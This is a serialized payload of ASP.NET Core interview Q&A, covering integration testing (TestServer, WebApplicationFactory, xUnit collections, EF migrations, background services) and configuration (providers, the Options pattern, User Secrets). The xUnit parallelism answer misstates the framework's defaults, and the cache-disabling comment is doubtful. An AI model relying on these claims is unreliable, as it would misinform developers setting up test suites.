     app.UseMiddleware\u003CRateLimitingMiddleware>(maxRequests: 10);\n                app.Run(ctx => ctx.Response.WriteAsync(\"OK\"));\n            });\n        })\n        .StartAsync();\n\n    var client = host.GetTestClient();\n    for (int i = 0; i \u003C 10; i++)\n        (await client.GetAsync(\"\u002F\")).EnsureSuccessStatusCode();\n\n    var eleventh = await client.GetAsync(\"\u002F\");\n    Assert.Equal(HttpStatusCode.TooManyRequests, eleventh.StatusCode);\n}\n```\n\n**Rule of thumb:** Use `TestServer` with a hand-built pipeline to test\nmiddleware in isolation. Use `WebApplicationFactory` to test middleware\nbehavior inside the full application pipeline.\n",{"id":1848,"difficulty":96,"q":1849,"a":1850},"parallel-test-execution","How does xUnit handle parallel test execution and how do integration tests affect it?","xUnit runs tests in different assemblies in parallel by default. Tests within\nthe same class run sequentially; tests in different classes within the same\nassembly run sequentially too (unless opt-in parallelism is enabled).\n\n```csharp\n\u002F\u002F xunit.runner.json — control parallelism settings:\n{\n  \"parallelizeAssembly\": true,\n  \"parallelizeTestCollections\": true,\n  \"maxParallelThreads\": 4\n}\n\n\u002F\u002F Collection attribute — group tests that must NOT run in parallel:\n[Collection(\"Integration\")]  \u002F\u002F same collection name = same test runner thread\npublic class OrderTests      { \u002F* ... *\u002F }\n\n[Collection(\"Integration\")]\npublic class ProductTests    { \u002F* ... *\u002F }\n\n\u002F\u002F ICollectionFixture — share an expensive fixture across a collection:\n[CollectionDefinition(\"Integration\")]\npublic class IntegrationCollection : ICollectionFixture\u003CCustomWebFactory> { }\n\n\u002F\u002F Both test classes share ONE CustomWebFactory instance:\n[Collection(\"Integration\")]\npublic class OrderTests\n{\n    private readonly HttpClient _client;\n    public OrderTests(CustomWebFactory factory) => _client = factory.CreateClient();\n}\n\n\u002F\u002F Isolation strategy when sharing a factory:\n\u002F\u002F Each test uses a unique resource (GUID-named database, distinct SKU, etc.)\n\u002F\u002F so parallel tests within the collection don't step on each other's data.\n```\n\nShared mutable state (a single in-memory database) is the most common cause\nof intermittent failures in integration tests run in parallel.\n\n**Rule of thumb:** Put integration tests that share a database fixture in the\nsame `[Collection]`. Use unique IDs for test data to allow parallel execution\nwithin that collection.\n",{"id":1852,"difficulty":96,"q":1853,"a":1854},"httpclient-typed-client-testing","How do you test a typed HttpClient in ASP.NET Core?","A typed HttpClient wraps `HttpClient` with domain-specific methods and is\nregistered via `AddHttpClient\u003CT>`. In tests, use `WebApplicationFactory` to\nreplace the handler, or inject a mock handler via the factory.\n\n```csharp\n\u002F\u002F Production typed client:\npublic class WeatherClient\n{\n    private readonly HttpClient _http;\n    public WeatherClient(HttpClient http) => _http = http;\n\n    public async Task\u003CWeatherForecast?> GetForecastAsync(string city)\n    {\n        var response = await _http.GetAsync($\"\u002Fweather\u002F{city}\");\n        response.EnsureSuccessStatusCode();\n        return await response.Content.ReadFromJsonAsync\u003CWeatherForecast>();\n    }\n}\n\n\u002F\u002F Registered in Program.cs:\n\u002F\u002F builder.Services.AddHttpClient\u003CWeatherClient>(c =>\n\u002F\u002F c.BaseAddress = new Uri(\"https:\u002F\u002Fapi.weather.example.com\"));\n\n\u002F\u002F Integration test — replace the handler in the factory:\npublic class WeatherTests : IClassFixture\u003CWebApplicationFactory\u003CProgram>>\n{\n    private readonly WebApplicationFactory\u003CProgram> _factory;\n    public WeatherTests(WebApplicationFactory\u003CProgram> factory)\n        => _factory = factory;\n\n    [Fact]\n    public async Task GetForecast_WhenApiReturnsData_MapsCorrectly()\n    {\n        var fakeJson    = \"\"\"{\"city\":\"London\",\"tempC\":15}\"\"\";\n        var fakeHandler = new MockHttpMessageHandler(\n            new HttpResponseMessage(HttpStatusCode.OK)\n            { Content = new StringContent(fakeJson, Encoding.UTF8, \"application\u002Fjson\") });\n\n        var client = _factory.WithWebHostBuilder(builder =>\n        {\n            builder.ConfigureServices(services =>\n            {\n                \u002F\u002F Replace the named client handler:\n                services.AddHttpClient\u003CWeatherClient>()\n                        .ConfigurePrimaryHttpMessageHandler(() => fakeHandler);\n            });\n        }).CreateClient();\n\n        var response = await client.GetAsync(\"\u002Fapi\u002Fweather\u002Flondon\");\n        response.EnsureSuccessStatusCode();\n    }\n}\n```\n\n**Rule of thumb:** Inject the handler at the `IHttpClientFactory` level rather\nthan constructing `HttpClient` directly in the class. This makes the handler\nswappable in tests without touching the typed client's code.\n",{"id":1856,"difficulty":206,"q":1857,"a":1858},"output-caching-testing","How do you test endpoints that use response caching in integration tests?","Response caching in integration tests can produce false positives (a cached\nstale response masking a regression) or false negatives (the test bypasses\nthe cache entirely). You need to control the cache explicitly.\n\n```csharp\n\u002F\u002F Disable caching in the test factory so every test sees fresh responses:\nprotected override void ConfigureWebHost(IWebHostBuilder builder)\n{\n    builder.ConfigureServices(services =>\n    {\n        \u002F\u002F Replace the distributed cache with a no-op:\n        services.AddSingleton\u003CIDistributedCache, MemoryDistributedCache>();\n\n        \u002F\u002F Override response caching to have max-age=0:\n        services.Configure\u003CResponseCachingOptions>(opts =>\n            opts.MaximumBodySize = 0); \u002F\u002F disables body caching\n    });\n}\n\n\u002F\u002F Test caching behavior explicitly:\n[Fact]\npublic async Task CachedEndpoint_SecondRequest_ReturnsCachedResponse()\n{\n    \u002F\u002F First request — populates cache:\n    var r1 = await _client.GetAsync(\"\u002Fapi\u002Fproducts\");\n    r1.EnsureSuccessStatusCode();\n    Assert.Equal(\"MISS\", r1.Headers.GetValues(\"X-Cache\").FirstOrDefault());\n\n    \u002F\u002F Second request — should hit cache:\n    var r2 = await _client.GetAsync(\"\u002Fapi\u002Fproducts\");\n    r2.EnsureSuccessStatusCode();\n    Assert.Equal(\"HIT\", r2.Headers.GetValues(\"X-Cache\").FirstOrDefault());\n\n    \u002F\u002F Verify both return the same body:\n    var body1 = await r1.Content.ReadAsStringAsync();\n    var body2 = await r2.Content.ReadAsStringAsync();\n    Assert.Equal(body1, body2);\n}\n\n\u002F\u002F Reset cache between tests using IDistributedCache directly:\nvar cache = factory.Services.GetRequiredService\u003CIDistributedCache>();\nawait cache.RemoveAsync(\"products:all\");\n```\n\n**Rule of thumb:** Run most endpoint tests with caching disabled to avoid\nflaky test order dependencies. Write a dedicated, isolated test class for\ncaching behavior that explicitly populates and inspects cache state.\n",{"id":1860,"difficulty":96,"q":1861,"a":1862},"problem-details-testing","How do you assert on ProblemDetails error responses in integration tests?","ASP.NET Core returns `ProblemDetails` (RFC 7807) for error responses when\n`AddProblemDetails()` is configured. Integration tests should assert on the\nstatus code, Content-Type, and specific problem fields.\n\n```csharp\n\u002F\u002F ProblemDetails shape:\n\u002F\u002F {\n\u002F\u002F \"type\": \"https:\u002F\u002Ftools.ietf.org\u002Fhtml\u002Frfc7231#section-6.5.1\",\n\u002F\u002F \"title\": \"Bad Request\",\n\u002F\u002F \"status\": 400,\n\u002F\u002F \"detail\": \"The Sku field is required.\",\n\u002F\u002F \"instance\": \"\u002Fapi\u002Forders\"\n\u002F\u002F }\n\n[Fact]\npublic async Task PostOrder_WithMissingSku_Returns400ProblemDetails()\n{\n    var payload = new StringContent(\n        \"\"\"{\"quantity\":2}\"\"\", \u002F\u002F missing Sku\n        Encoding.UTF8, \"application\u002Fjson\");\n\n    var response = await _client.PostAsync(\"\u002Fapi\u002Forders\", payload);\n\n    Assert.Equal(HttpStatusCode.BadRequest, response.StatusCode);\n    Assert.Equal(\"application\u002Fproblem+json\",\n        response.Content.Headers.ContentType!.MediaType);\n\n    \u002F\u002F Deserialize and assert specific fields:\n    var problem = await response.Content\n        .ReadFromJsonAsync\u003CProblemDetails>();\n\n    Assert.NotNull(problem);\n    Assert.Equal(400,         problem!.Status);\n    Assert.Contains(\"Sku\",    problem.Detail ?? \"\");\n}\n\n\u002F\u002F For validation errors, ASP.NET Core returns ValidationProblemDetails\n\u002F\u002F which has an Errors dictionary:\nvar validationProblem = await response.Content\n    .ReadFromJsonAsync\u003CValidationProblemDetails>();\nAssert.True(validationProblem!.Errors.ContainsKey(\"Sku\"));\n```\n\n**Rule of thumb:** Assert both the HTTP status code AND the Content-Type header\nin error response tests. A 400 returning `text\u002Fhtml` means the error middleware\nis misconfigured, even though the status code is correct.\n",{"id":1864,"difficulty":206,"q":1865,"a":1866},"ef-core-migration-testing","How do you test that EF Core migrations apply cleanly in integration tests?","Running migrations in tests catches schema drift, broken migration scripts,\nand EF model\u002Fmigration mismatches before they reach production. The key is\nusing a real (or SQLite) database and calling `MigrateAsync()` in the fixture.\n\n```csharp\n\u002F\u002F MigrationTests — verify the full migration chain applies without error:\npublic class MigrationTests : IAsyncLifetime\n{\n    private SqliteConnection _connection = default!;\n    private AppDbContext     _db         = default!;\n\n    public async Task InitializeAsync()\n    {\n        _connection = new SqliteConnection(\"Data Source=:memory:\");\n        _connection.Open();\n\n        var opts = new DbContextOptionsBuilder\u003CAppDbContext>()\n            .UseSqlite(_connection)\n            .Options;\n\n        _db = new AppDbContext(opts);\n\n        \u002F\u002F Apply every migration from scratch — fails if any script has an error:\n        await _db.Database.MigrateAsync();\n    }\n\n    [Fact]\n    public async Task AllMigrations_ApplyWithoutError()\n    {\n        \u002F\u002F If InitializeAsync succeeded, all migrations applied cleanly.\n        \u002F\u002F Verify the final schema contains expected tables:\n        var tables = await _db.Database\n            .SqlQueryRaw\u003Cstring>(\n                \"SELECT name FROM sqlite_master WHERE type='table'\")\n            .ToListAsync();\n\n        Assert.Contains(\"Orders\",   tables);\n        Assert.Contains(\"Products\", tables);\n        Assert.Contains(\"Customers\", tables);\n    }\n\n    [Fact]\n    public async Task PendingMigrations_AfterMigrate_IsEmpty()\n    {\n        \u002F\u002F Confirms no migration was accidentally left un-applied:\n        var pending = await _db.Database.GetPendingMigrationsAsync();\n        Assert.Empty(pending);\n    }\n\n    public async Task DisposeAsync()\n    {\n        await _db.DisposeAsync();\n        _connection.Close();\n    }\n}\n```\n\nOn SQL Server, use `EnsureDeleted()` + `MigrateAsync()` at the start of each\nCI run to test against a clean slate. For local dev speed, prefer SQLite.\n\n**Rule of thumb:** Run migration tests in CI on every branch. A migration that\ncannot be replayed from scratch on an empty database is a migration that will\nfail the first deployment to a new environment.\n",{"id":1868,"difficulty":96,"q":1869,"a":1870},"replacing-services-in-factory","How do you replace or add services in WebApplicationFactory for specific test scenarios?","`WebApplicationFactory.WithWebHostBuilder` lets you override individual\nservices per test class without creating a whole new factory subclass.\nThis is cleaner when only one or two tests need a different service.\n\n```csharp\npublic class OrderIntegrationTests : IClassFixture\u003CWebApplicationFactory\u003CProgram>>\n{\n    private readonly WebApplicationFactory\u003CProgram> _factory;\n\n    public OrderIntegrationTests(WebApplicationFactory\u003CProgram> factory)\n        => _factory = factory;\n\n    [Fact]\n    public async Task PlaceOrder_WhenEmailFails_StillReturnsCreated()\n    {\n        \u002F\u002F Replace only the email sender with a failing fake for this one test:\n        var client = _factory.WithWebHostBuilder(builder =>\n        {\n            builder.ConfigureServices(services =>\n            {\n                \u002F\u002F Remove the real registration:\n                var descriptor = services.Single(\n                    d => d.ServiceType == typeof(IEmailSender));\n                services.Remove(descriptor);\n\n                \u002F\u002F Add a fake that always throws:\n                services.AddSingleton\u003CIEmailSender, AlwaysFailingEmailSender>();\n            });\n        }).CreateClient();\n\n        var payload = new StringContent(\n            \"\"\"{\"sku\":\"X\",\"quantity\":1}\"\"\",\n            Encoding.UTF8, \"application\u002Fjson\");\n\n        \u002F\u002F Order creation should succeed even if email sending fails:\n        var response = await client.PostAsync(\"\u002Fapi\u002Forders\", payload);\n        Assert.Equal(HttpStatusCode.Created, response.StatusCode);\n    }\n\n    [Fact]\n    public async Task PlaceOrder_WithSlowInventoryCheck_RespectsTimeout()\n    {\n        var client = _factory.WithWebHostBuilder(builder =>\n        {\n            builder.ConfigureServices(services =>\n            {\n                var descriptor = services.Single(\n                    d => d.ServiceType == typeof(IInventoryService));\n                services.Remove(descriptor);\n\n                \u002F\u002F Slow fake simulates a lagging external dependency:\n                services.AddSingleton\u003CIInventoryService, SlowInventoryService>();\n            });\n        }).CreateClient();\n\n        var response = await client.PostAsync(\"\u002Fapi\u002Forders\",\n            new StringContent(\"\"\"{\"sku\":\"X\",\"quantity\":1}\"\"\",\n                Encoding.UTF8, \"application\u002Fjson\"));\n\n        Assert.Equal(HttpStatusCode.GatewayTimeout, response.StatusCode);\n    }\n}\n```\n\nEach call to `WithWebHostBuilder` returns a new factory instance with its own\n`HttpClient` and DI container — it does not mutate the shared fixture.\n\n**Rule of thumb:** Use `WithWebHostBuilder` for one-off service swaps within\na test method. Extract a subclass of `WebApplicationFactory` only when the\noverride is needed by an entire test class or multiple test classes.\n",{"id":1872,"difficulty":206,"q":1873,"a":1874},"testing-background-services","How do you integration-test a hosted background service (IHostedService) in .NET?","`IHostedService` and `BackgroundService` implementations run on the host\nlifecycle. In tests, start the host, let the service execute, then verify\nits side effects (database writes, queue messages, outbox events).\n\n```csharp\n\u002F\u002F Background service that processes an outbox table every 5 seconds:\npublic class OutboxProcessor : BackgroundService\n{\n    private readonly IServiceScopeFactory _scopeFactory;\n    public OutboxProcessor(IServiceScopeFactory scopeFactory)\n        => _scopeFactory = scopeFactory;\n\n    protected override async Task ExecuteAsync(CancellationToken ct)\n    {\n        while (!ct.IsCancellationRequested)\n        {\n            using var scope = _scopeFactory.CreateScope();\n            var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n\n            var pending = await db.OutboxMessages\n                .Where(m => !m.Sent).ToListAsync(ct);\n            foreach (var msg in pending)\n            {\n                \u002F\u002F Note: publish logic omitted for brevity\n                msg.Sent = true;\n            }\n            await db.SaveChangesAsync(ct);\n            await Task.Delay(TimeSpan.FromSeconds(5), ct);\n        }\n    }\n}\n\n\u002F\u002F Integration test — start the host, seed data, wait for processing:\n[Fact]\npublic async Task OutboxProcessor_MarksMessagesSent_WithinExpectedTime()\n{\n    \u002F\u002F Use a factory with fast polling (override the delay via config):\n    await using var factory = new WebApplicationFactory\u003CProgram>()\n        .WithWebHostBuilder(b =>\n        {\n            b.ConfigureAppConfiguration((_, cfg) =>\n                cfg.AddInMemoryCollection(new Dictionary\u003Cstring, string?>\n                {\n                    [\"OutboxPollingIntervalMs\"] = \"100\" \u002F\u002F fast for tests\n                }));\n        });\n\n    \u002F\u002F Seed an outbox message:\n    using var scope = factory.Services.CreateScope();\n    var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n    db.OutboxMessages.Add(new OutboxMessage { Payload = \"{}\", Sent = false });\n    await db.SaveChangesAsync();\n\n    \u002F\u002F Wait for the background service to process it:\n    var deadline = DateTime.UtcNow.AddSeconds(3);\n    bool sent    = false;\n    while (DateTime.UtcNow \u003C deadline)\n    {\n        await Task.Delay(150);\n        sent = await db.OutboxMessages.AnyAsync(m => m.Sent);\n        if (sent) break;\n    }\n\n    Assert.True(sent, \"OutboxProcessor did not mark messages sent within 3 seconds.\");\n}\n```\n\nFor services that poll on long intervals, inject the interval via configuration\nso tests can set it to milliseconds without modifying production code.\n\n**Rule of thumb:** Test background services against their observable side effects\n(DB state, queue contents), not their internal timer logic. Use short polling\nintervals in tests and a time-bounded wait loop rather than fixed `Task.Delay`.\n",{"id":1876,"difficulty":96,"q":1877,"a":1878},"testing-minimal-apis","How do you integration-test Minimal API endpoints in ASP.NET Core?","Minimal APIs (introduced in .NET 6) register endpoints via `app.MapGet\u002FPost\u002F...`\nin `Program.cs`. They are tested exactly like controller endpoints — through\n`WebApplicationFactory` and `HttpClient` — but you assert on the response\nrather than on a controller action.\n\n```csharp\n\u002F\u002F Minimal API definition in Program.cs:\n\u002F\u002F app.MapPost(\"\u002Fapi\u002Fproducts\", async (CreateProductRequest req, IProductService svc) =>\n\u002F\u002F {\n\u002F\u002F var product = await svc.CreateAsync(req);\n\u002F\u002F return Results.Created($\"\u002Fapi\u002Fproducts\u002F{product.Id}\", product);\n\u002F\u002F })\n\u002F\u002F .WithName(\"CreateProduct\")\n\u002F\u002F .Produces\u003CProduct>(201)\n\u002F\u002F .ProducesProblem(400);\n\n\u002F\u002F Integration test:\npublic class ProductMinimalApiTests : IClassFixture\u003CCustomWebFactory>\n{\n    private readonly HttpClient _client;\n\n    public ProductMinimalApiTests(CustomWebFactory factory)\n        => _client = factory.CreateClient();\n\n    [Fact]\n    public async Task CreateProduct_ValidRequest_Returns201WithLocationHeader()\n    {\n        var request = new { Name = \"Widget\", Price = 9.99 };\n        var payload = JsonContent.Create(request); \u002F\u002F sets Content-Type automatically\n\n        var response = await _client.PostAsync(\"\u002Fapi\u002Fproducts\", payload);\n\n        Assert.Equal(HttpStatusCode.Created, response.StatusCode);\n        Assert.NotNull(response.Headers.Location);\n\n        \u002F\u002F Deserialize the response body:\n        var product = await response.Content.ReadFromJsonAsync\u003CProduct>();\n        Assert.Equal(\"Widget\", product!.Name);\n    }\n\n    [Fact]\n    public async Task CreateProduct_MissingName_Returns400ValidationProblem()\n    {\n        var request = new { Price = 9.99 }; \u002F\u002F Name is missing\n        var payload = JsonContent.Create(request);\n\n        var response = await _client.PostAsync(\"\u002Fapi\u002Fproducts\", payload);\n\n        Assert.Equal(HttpStatusCode.BadRequest, response.StatusCode);\n\n        var problem = await response.Content\n            .ReadFromJsonAsync\u003CValidationProblemDetails>();\n        Assert.True(problem!.Errors.ContainsKey(\"Name\"));\n    }\n\n    [Fact]\n    public async Task GetProduct_AfterCreate_ReturnsCreatedProduct()\n    {\n        \u002F\u002F Round-trip test: POST then GET to confirm persistence:\n        var created  = await _client.PostAsync(\"\u002Fapi\u002Fproducts\",\n            JsonContent.Create(new { Name = \"Gadget\", Price = 24.99 }));\n        var location = created.Headers.Location!;\n\n        var getResp = await _client.GetAsync(location);\n        getResp.EnsureSuccessStatusCode();\n\n        var product = await getResp.Content.ReadFromJsonAsync\u003CProduct>();\n        Assert.Equal(\"Gadget\", product!.Name);\n    }\n}\n```\n\n**Rule of thumb:** Treat Minimal API tests as black-box HTTP tests — send a\nrequest, assert on status code, headers, and response body. Avoid reaching\ninto the handler implementation; if you need to verify a side effect (email\nsent, DB written), assert on the observable outcome.\n",{"description":94},"Integration testing interview questions — WebApplicationFactory, custom factories, SQLite vs in-memory databases, seeding data, and testing auth.","dotnet\u002Ftesting\u002Fintegration-testing","WFO_0uiTLGRvpTJtes3c41mkIKNASdgBpYJ9Im05y-Y",{"id":1884,"title":1885,"body":1886,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1890,"navigation":99,"order":47,"path":1891,"questions":1892,"questionsCount":163,"related":164,"seo":1951,"seoDescription":1952,"stem":1953,"subtopic":1885,"topic":37,"topicSlug":39,"updated":168,"__hash__":1954},"qa\u002Fdotnet\u002Faspnet-core\u002Fconfiguration.md","Configuration",{"type":91,"value":1887,"toc":1888},[],{"title":94,"searchDepth":29,"depth":29,"links":1889},[],{},"\u002Fdotnet\u002Faspnet-core\u002Fconfiguration",[1893,1897,1901,1905,1908,1912,1916,1920,1924,1927,1931,1935,1939,1943,1947],{"id":1894,"difficulty":104,"q":1895,"a":1896},"configuration-what-is","What is the ASP.NET Core configuration system and how does it work?","The ASP.NET Core **configuration system** aggregates key-value pairs from multiple\n**configuration providers** into a unified `IConfiguration` interface. Providers are\nlayered — later providers override earlier ones for the same key.\n\n```csharp\n\u002F\u002F Default provider order (WebApplication.CreateBuilder):\n\u002F\u002F 1. appsettings.json\n\u002F\u002F 2. appsettings.{Environment}.json (e.g., appsettings.Production.json)\n\u002F\u002F 3. User Secrets (Development only)\n\u002F\u002F 4. Environment variables\n\u002F\u002F 5. Command-line arguments\n\nvar builder = WebApplication.CreateBuilder(args);\n\u002F\u002F builder.Configuration is already populated from the sources above\n\n\u002F\u002F Read a value:\nstring? conn = builder.Configuration[\"ConnectionStrings:DefaultConnection\"];\n\u002F\u002F or via GetConnectionString shortcut:\nstring? conn2 = builder.Configuration.GetConnectionString(\"DefaultConnection\");\n\n\u002F\u002F Read a section:\nIConfigurationSection mailSection = builder.Configuration.GetSection(\"Mail\");\nstring? host = mailSection[\"Host\"];\nint port = mailSection.GetValue\u003Cint>(\"Port\", defaultValue: 587);\n```\n\n`appsettings.json`:\n```json\n{\n  \"ConnectionStrings\": {\n    \"DefaultConnection\": \"Server=.;Database=MyDb;Trusted_Connection=True\"\n  },\n  \"Mail\": {\n    \"Host\": \"smtp.example.com\",\n    \"Port\": 587\n  }\n}\n```\n\n**Rule of thumb:** Never hard-code secrets or environment-specific values in code.\nUse the configuration system so values can be overridden per environment through\nappsettings files, environment variables, or secrets management tools.\n",{"id":1898,"difficulty":104,"q":1899,"a":1900},"configuration-providers","What are the built-in configuration providers and how are they ordered?","ASP.NET Core supports many built-in providers. `WebApplication.CreateBuilder` sets up\nthe default stack automatically; you can customize with `ConfigureAppConfiguration`.\n\n```csharp\n\u002F\u002F Default stack — later entries WIN (override earlier):\n\u002F\u002F appsettings.json → appsettings.{Env}.json → User Secrets → Env vars → CLI args\n\n\u002F\u002F Customizing the stack:\nbuilder.Configuration\n    \u002F\u002F 1. Clear existing providers:\n    .Sources.Clear();\n\nbuilder.Host.ConfigureAppConfiguration((ctx, config) =>\n{\n    config.AddJsonFile(\"appsettings.json\", optional: false, reloadOnChange: true);\n    config.AddJsonFile(\n        $\"appsettings.{ctx.HostingEnvironment.EnvironmentName}.json\",\n        optional: true,\n        reloadOnChange: true);\n\n    if (ctx.HostingEnvironment.IsDevelopment())\n        config.AddUserSecrets\u003CProgram>(); \u002F\u002F safe dev-only secrets\n\n    config.AddEnvironmentVariables(prefix: \"MYAPP_\"); \u002F\u002F MYAPP_Mail__Host → Mail:Host\n\n    config.AddCommandLine(args); \u002F\u002F --Mail:Host=smtp.example.com\n\n    \u002F\u002F Custom: Azure Key Vault (requires Azure.Extensions.AspNetCore.Configuration.Secrets):\n    \u002F\u002F config.AddAzureKeyVault(new Uri(\"https:\u002F\u002Fmyvault.vault.azure.net\u002F\"), new DefaultAzureCredential());\n\n    \u002F\u002F Custom: AWS Secrets Manager, HashiCorp Vault, etc.\n});\n```\n\nEnvironment variable key mapping:\n- Double underscore `__` maps to `:` (section separator).\n- `MYAPP_Mail__Host` → `Mail:Host`\n- `MYAPP_ConnectionStrings__DefaultConnection` → `ConnectionStrings:DefaultConnection`\n\n**Rule of thumb:** For secrets (API keys, connection strings), use User Secrets in\ndevelopment and environment variables \u002F a secrets manager (Azure Key Vault, AWS\nSecrets Manager) in production — never commit secrets to `appsettings.json`.\n",{"id":1902,"difficulty":96,"q":1903,"a":1904},"ioptions","What is the Options pattern (`IOptions\u003CT>`, `IOptionsSnapshot\u003CT>`, `IOptionsMonitor\u003CT>`) and when do you use each?","The **Options pattern** binds a configuration section to a strongly-typed class and\ninjects it via DI. Three interfaces serve different lifetime \u002F reload needs:\n\n- **`IOptions\u003CT>`** — singleton; reads config once at startup; does **not** see changes.\n- **`IOptionsSnapshot\u003CT>`** — scoped; re-reads config **once per request**; sees\n  reloaded values from the next request onward.\n- **`IOptionsMonitor\u003CT>`** — singleton; sees config changes **immediately** via a\n  change-notification callback.\n\n```csharp\n\u002F\u002F POCO:\npublic class MailOptions\n{\n    public const string SectionName = \"Mail\";\n    public string Host { get; set; } = default!;\n    public int Port { get; set; } = 587;\n    public bool UseSsl { get; set; } = true;\n}\n\n\u002F\u002F Register:\nbuilder.Services.Configure\u003CMailOptions>(\n    builder.Configuration.GetSection(MailOptions.SectionName));\n\n\u002F\u002F Inject and use:\npublic class EmailService\n{\n    private readonly MailOptions _opts;\n\n    \u002F\u002F IOptions\u003CT> — fixed at startup (singleton):\n    public EmailService(IOptions\u003CMailOptions> opts) =>\n        _opts = opts.Value;\n\n    \u002F\u002F IOptionsSnapshot\u003CT> — re-read per request (scoped service):\n    public EmailService(IOptionsSnapshot\u003CMailOptions> opts) =>\n        _opts = opts.Value;\n\n    \u002F\u002F IOptionsMonitor\u003CT> — live updates (singleton service):\n    public EmailService(IOptionsMonitor\u003CMailOptions> monitor)\n    {\n        _opts = monitor.CurrentValue;\n        monitor.OnChange(newValue =>\n        {\n            \u002F\u002F Called whenever config changes on disk\n            Console.WriteLine($\"Config changed: Host={newValue.Host}\");\n        });\n    }\n}\n```\n\n| Interface | Lifetime | Sees reloads? | Best for |\n|---|---|---|---|\n| `IOptions\u003CT>` | Singleton | No | Startup-only config, singletons |\n| `IOptionsSnapshot\u003CT>` | Scoped | Per-request | Web requests, feature flags |\n| `IOptionsMonitor\u003CT>` | Singleton | Immediately | Long-running services, background workers |\n\n**Rule of thumb:** Use `IOptions\u003CT>` for configuration that never changes at\nruntime. Use `IOptionsSnapshot\u003CT>` in request-scoped services when you want\nper-request config refresh. Use `IOptionsMonitor\u003CT>` in singletons or background\nservices that need live config updates without restart.\n",{"id":1465,"difficulty":96,"q":1906,"a":1907},"How do you validate configuration options at startup to fail fast on bad config?","ASP.NET Core lets you validate Options at startup using Data Annotations,\n`IValidateOptions\u003CT>`, or the fluent `Validate` overload.\n\n```csharp\n\u002F\u002F Data Annotations on the POCO:\npublic class SmtpOptions\n{\n    [Required]\n    public string Host { get; set; } = default!;\n\n    [Range(1, 65535)]\n    public int Port { get; set; }\n\n    [Required, EmailAddress]\n    public string FromAddress { get; set; } = default!;\n}\n\n\u002F\u002F Register with annotation validation + eager validation at startup:\nbuilder.Services\n    .AddOptions\u003CSmtpOptions>()\n    .BindConfiguration(\"Smtp\")\n    .ValidateDataAnnotations()\n    .ValidateOnStart(); \u002F\u002F throws on startup instead of first use!\n\n\u002F\u002F Custom validation:\nbuilder.Services\n    .AddOptions\u003CSmtpOptions>()\n    .BindConfiguration(\"Smtp\")\n    .Validate(opts =>\n    {\n        if (opts.Port == 25 && opts.Host.EndsWith(\".example.com\"))\n            return false; \u002F\u002F invalid combination\n        return true;\n    }, \"Port 25 is not allowed for example.com SMTP servers\")\n    .ValidateOnStart();\n```\n\nWithout `ValidateOnStart()`, validation runs on first access of `.Value`. With it,\nbad config causes the app to refuse to start — a much better failure mode.\n\n**Rule of thumb:** Always add `.ValidateDataAnnotations().ValidateOnStart()` to\nany critical options binding. Failing fast at startup is far better than a\nproduction runtime error when a feature is first exercised.\n",{"id":1909,"difficulty":96,"q":1910,"a":1911},"user-secrets","What are User Secrets and how do you use them in development?","**User Secrets** store sensitive config values (API keys, connection strings) outside\nthe project directory during development, so they are never committed to source\ncontrol. They are stored in `%APPDATA%\\Microsoft\\UserSecrets\\\u003Cid>\\secrets.json`\n(Windows) or `~\u002F.microsoft\u002Fusersecrets\u002F\u003Cid>\u002Fsecrets.json` (Linux\u002FmacOS).\n\n```bash\n# Initialize user secrets for the project (adds \u003CUserSecretsId> to .csproj):\ndotnet user-secrets init\n\n# Set secrets:\ndotnet user-secrets set \"ConnectionStrings:DefaultConnection\" \"Server=.;...\"\ndotnet user-secrets set \"Stripe:SecretKey\" \"sk_test_abc123\"\ndotnet user-secrets set \"Mail:Password\" \"my-smtp-password\"\n\n# List all secrets:\ndotnet user-secrets list\n\n# Remove a secret:\ndotnet user-secrets remove \"Mail:Password\"\n```\n\nThey are automatically loaded in the `Development` environment by\n`WebApplication.CreateBuilder`:\n\n```csharp\n\u002F\u002F Automatically added in Development:\nif (app.Environment.IsDevelopment())\n    builder.Configuration.AddUserSecrets\u003CProgram>();\n\n\u002F\u002F WebApplication.CreateBuilder does this by default — you usually don't need to call it manually.\n\n\u002F\u002F Access normally via IConfiguration:\nvar key = builder.Configuration[\"Stripe:SecretKey\"];\n```\n\nIn production, use environment variables or a secrets manager — User Secrets are\na **development-only** mechanism.\n\n**Rule of thumb:** Use User Secrets for any credential a dev needs locally but\nmust not check in. Never add `secrets.json` to `.gitignore` — it's outside the\nrepo directory by design.\n",{"id":1913,"difficulty":104,"q":1914,"a":1915},"environment-specific-config","How does ASP.NET Core handle environment-specific configuration?","The **hosting environment** (`ASPNETCORE_ENVIRONMENT` env var) controls which\n`appsettings.{Environment}.json` file is loaded. The environment-specific file\n**merges with and overrides** values from `appsettings.json`.\n\n```json\n\u002F\u002F appsettings.json (base — checked into source control):\n{\n  \"Logging\": { \"LogLevel\": { \"Default\": \"Warning\" } },\n  \"FeatureFlags\": { \"NewCheckout\": false },\n  \"ConnectionStrings\": { \"DefaultConnection\": \"\" }\n}\n\n\u002F\u002F appsettings.Development.json (local overrides — can be committed for shared dev):\n{\n  \"Logging\": { \"LogLevel\": { \"Default\": \"Debug\" } },\n  \"FeatureFlags\": { \"NewCheckout\": true }\n}\n\n\u002F\u002F appsettings.Production.json (minimal; secrets come from env vars):\n{\n  \"Logging\": { \"LogLevel\": { \"Default\": \"Error\" } }\n}\n```\n\n```csharp\n\u002F\u002F Check environment in code:\nif (app.Environment.IsDevelopment())\n    app.UseDeveloperExceptionPage();\nelse\n    app.UseExceptionHandler(\"\u002Ferror\");\n\n\u002F\u002F Custom environments:\n\u002F\u002F ASPNETCORE_ENVIRONMENT=Staging → loads appsettings.Staging.json\nif (app.Environment.IsEnvironment(\"Staging\"))\n    EnableStagingFeatures();\n```\n\n`IWebHostEnvironment` (injected via DI) exposes:\n- `EnvironmentName` — the string value\n- `IsDevelopment()`, `IsStaging()`, `IsProduction()` — convenience methods\n- `ContentRootPath`, `WebRootPath`\n\n**Rule of thumb:** Keep `appsettings.json` free of secrets and environment-specific\nvalues. Use `appsettings.{Env}.json` for non-secret environment differences. Put\nsecrets in environment variables or a secrets manager, not in any config file that\ngets committed.\n",{"id":1917,"difficulty":96,"q":1918,"a":1919},"iconfiguration-bind","How do you use `IConfiguration.Bind`, `Get\u003CT>`, and `GetSection` to read config?","`IConfiguration` provides several methods to read values: `GetValue\u003CT>`, `GetSection`,\n`Bind`, and `Get\u003CT>`.\n\n```csharp\n\u002F\u002F appsettings.json:\n\u002F\u002F {\n\u002F\u002F \"App\": { \"Name\": 